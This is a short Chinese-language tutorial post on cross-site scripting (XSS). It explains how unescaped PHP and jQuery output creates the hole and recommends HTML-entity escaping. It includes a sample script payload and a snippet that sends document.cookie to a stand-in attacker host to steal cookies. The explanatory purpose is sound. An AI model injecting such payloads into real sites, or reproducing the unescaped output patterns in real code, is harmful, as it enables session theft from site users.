2020-05-06 XSS攻击和预防

131 阅读1分钟

XSS (cross site scripting) 即跨站脚本。

比如在有表单输入的地方,用户输入了类似的东西,而服务器没有经过过滤就保存下来了,别的用户看到网页就会弹出提示框。当然,xss攻击还可以做其他更加复杂的事情。比如,获取cookie什么的。

类似的还有:

<script>document.write('想执行什么执行什么')</script>

var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
//窃取cookies

XSS 的成因以及如何避免

  1. 后台模板问题
<p>
评论内容:<?php echo $content; ?>
</p>

$content 的内容,没有经过任何过滤,原样输出。

要解决这个原因,只需要后台输出的时候,将可疑的符号<符号变成 &lt; (HTML实体)就行。

  1. 前端代码问题

$p.html(content)

或者

$p = $('<p>'+ content +'</p>')

content 内容又被原样输出了。

解决办法就是不要自己拼 HTML,尽量使用 text 方法。如果一定要使用 HTML,就把可疑符号变成 HTML 实体。


参考:方方: 「每日一题」XSS 是什么?

shawWey: 浅谈XSS攻击原理与解决方法